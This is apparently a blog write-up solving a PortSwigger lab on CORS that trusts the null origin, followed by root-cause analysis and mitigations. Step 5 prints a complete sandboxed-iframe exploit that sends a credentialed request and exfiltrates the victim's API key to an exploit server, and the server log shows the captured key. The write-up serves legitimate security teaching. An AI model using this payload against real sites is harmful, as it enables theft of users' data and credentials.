Solving PortSwigger Labs: CORS vulnerability with trusted null origin

Introduction

Cross-Origin Resource Sharing (CORS) vulnerabilities can take many forms, and one of the most interesting variants involves trusting the "null" origin. In this article, we'll explore the PortSwigger Web Security Academy lab "CORS vulnerability with trusted null origin" and learn how attackers can exploit applications that incorrectly trust this special origin value.

Understanding the Null Origin

The null origin is a special value in the CORS specification that represents an opaque origin. According to the HTML specification, the null origin is triggered in several scenarios:

• Sandboxed iframes: When an iframe has the sandbox attribute without allow-same-origin

• Data URLs: When content is loaded from data: URLs

• File URLs: When accessing local HTML files (file://)

• Redirects: In certain redirect scenarios

• Cross-origin requests: In some cross-origin navigation contexts

Many developers mistakenly whitelist the null origin thinking it's safe or to support local development, not realizing that any website can easily generate requests with a null origin using sandboxed iframes.

Lab Overview

Lab Name: CORS vulnerability with trusted null origin
Objective: Retrieve the administrator's API key using a CORS exploit
Target: https://0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net/
Exploit Server: https://exploit-0a8400620321959c8136151401740085.exploit-server.net/
Credentials: wiener:peter

Step 1: Initial Reconnaissance

First, I logged into the application using the provided credentials (wiener:peter) to understand the application structure and identify potential CORS endpoints.

After logging in, I navigated to the account details page and observed network traffic to identify API endpoints that might be vulnerable to CORS attacks.

Step 2: Identifying the Vulnerable Endpoint

I discovered that the application makes requests to /accountDetails to retrieve user information, including an API key. This endpoint appeared to be a prime target for CORS exploitation.

Step 3: Testing for CORS Vulnerability

To test for CORS vulnerabilities, I intercepted the request to /accountDetails and modified the Origin header to test different values.

Original Request:

GET /accountDetails HTTP/2
Host: 0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net
Cookie: session=i8sEYo13yZUJvu2gomKrnpHwUghgbT3E

Testing with Null Origin:

GET /accountDetails HTTP/2
Host: 0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net
Cookie: session=i8sEYo13yZUJvu2gomKrnpHwUghgbT3E
Origin: null

Vulnerable Response:

HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "OK6eoYqq9rHUDt4mzUDTnmB8PtAcpqyz",
  "sessions": [
    "i8sEYo13yZUJvu2gomKrnpHwUghgbT3E"
  ]
}

The response shows two critical CORS misconfigurations:

1. Access-Control-Allow-Origin: null - The server trusts the null origin

2. Access-Control-Allow-Credentials: true - Cookies are allowed in cross-origin requests

Step 4: Understanding the Null Origin Attack Vector

The key insight for exploiting null origin vulnerabilities is that any website can force a browser to send requests with Origin: null by using a sandboxed iframe. According to the HTML specification and security research, sandboxed iframes generate requests with a null origin.

The attack works by embedding a sandboxed iframe with a data URL containing our malicious JavaScript:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src='data:text/html,<script>/* malicious code here */</script>'>
</iframe>

Step 5: Crafting the Exploit

The exploit consists of an HTML page with a sandboxed iframe that:

1. Makes a CORS request to the vulnerable /accountDetails endpoint

2. Extracts the administrator's API key from the response

3. Exfiltrates the API key to our controlled server

Complete Exploit Code:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,
<script>
var req = new XMLHttpRequest();

req.onload = function() {
    // Parse the response to extract the API key
    var response = JSON.parse(this.responseText);
    var apikey = response.apikey;

    // Send the API key to the exploit server
    var exfiltrate = new XMLHttpRequest();
    exfiltrate.open("GET", "https://exploit-0a8400620321959c8136151401740085.exploit-server.net/exploit?apikey=" + apikey, true);
    exfiltrate.send();
};

// Make CORS request to the vulnerable endpoint with null origin
req.open("GET", "https://0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net/accountDetails", true);
req.withCredentials = true;
req.send();
</script>'></iframe>

Step 6: Deploying the Exploit

1. Navigate to the exploit server at https://exploit-0a8400620321959c8136151401740085.exploit-server.net/

2. Paste the exploit code into the body section

3. Click "Store" to save the exploit

4. Click "Deliver exploit to victim" to trigger the attack

5. Click "Access server log"

6. Check the request that was made by the victim to the exploit server that looks like this:

    10.0.4.241    2025-07-23 08:49:53 +0000 "GET /exploit?apikey=i3NCPLRccl0ZXOKFX5Sb3ErmkkZkf6VR HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
   

7. Copy the API key from the log entry

8. Submit the API key as the solution

Step 7: Understanding Why the Attack Works

The attack succeeds because:

1. Sandboxed iframes generate null origins: The sandbox attribute without allow-same-origin causes the browser to send Origin: null

2. Server trusts null origin: The vulnerable application whitelists the null origin

3. Credentials are included: Access-Control-Allow-Credentials: true allows session cookies to be sent

4. Same-site context: The iframe runs in the context of our exploit server, but makes requests with null origin

Vulnerability Analysis

Root Cause

The vulnerability stems from the application's CORS configuration that explicitly trusts the null origin:

// Vulnerable CORS configuration (conceptual)
if (origin === "null" || trustedOrigins.includes(origin)) {
    response.setHeader("Access-Control-Allow-Origin", origin);
    response.setHeader("Access-Control-Allow-Credentials", "true");
}

Impact

This vulnerability allows attackers to:

• Steal sensitive user data (API keys, personal information)

• Perform actions on behalf of authenticated users

• Bypass same-origin policy protections

• Access internal API endpoints

Mitigation Strategies

1. Never Trust Null Origin

// Secure CORS configuration
const trustedOrigins = ["https://trusted-domain.com"];

if (trustedOrigins.includes(origin)) {
    response.setHeader("Access-Control-Allow-Origin", origin);
}
// Never allow null origin

2. Implement Proper CORS Headers

• Use specific, trusted origins instead of wildcards

• Avoid Access-Control-Allow-Origin: * with credentials

• Implement proper preflight handling

3. Additional Security Measures

• Implement CSRF tokens for state-changing operations

• Use SameSite cookie attributes

• Implement proper authentication checks

• Consider Content Security Policy (CSP) headers

Detection and Prevention

For Developers:

1. Code Review: Audit CORS configurations for null origin handling

2. Testing: Include null origin tests in security testing suites

3. Configuration Management: Use centralized CORS configuration

4. Documentation: Document all allowed origins and their purposes

For Security Teams:

1. Automated Scanning: Include CORS null origin tests in security scanners

2. Penetration Testing: Manual testing for CORS misconfigurations

3. Code Analysis: Static analysis tools to detect vulnerable patterns

Conclusion

The trusted null origin vulnerability demonstrates how seemingly innocuous CORS configurations can lead to serious security issues. The ability for any website to generate requests with a null origin through sandboxed iframes makes this vulnerability particularly dangerous.

Key takeaways:

• Never trust the null origin in production applications

• Understand the security implications of CORS configurations

• Implement defense in depth with multiple security layers

• Regular security testing should include CORS vulnerability assessments

This lab effectively illustrates why security configurations should be thoroughly understood and tested, as subtle misconfigurations can lead to complete compromise of user data and application security.

References

• PortSwigger Web Security Academy

• MDN CORS Documentation

• HTML Specification - Origin

• HackTricks CORS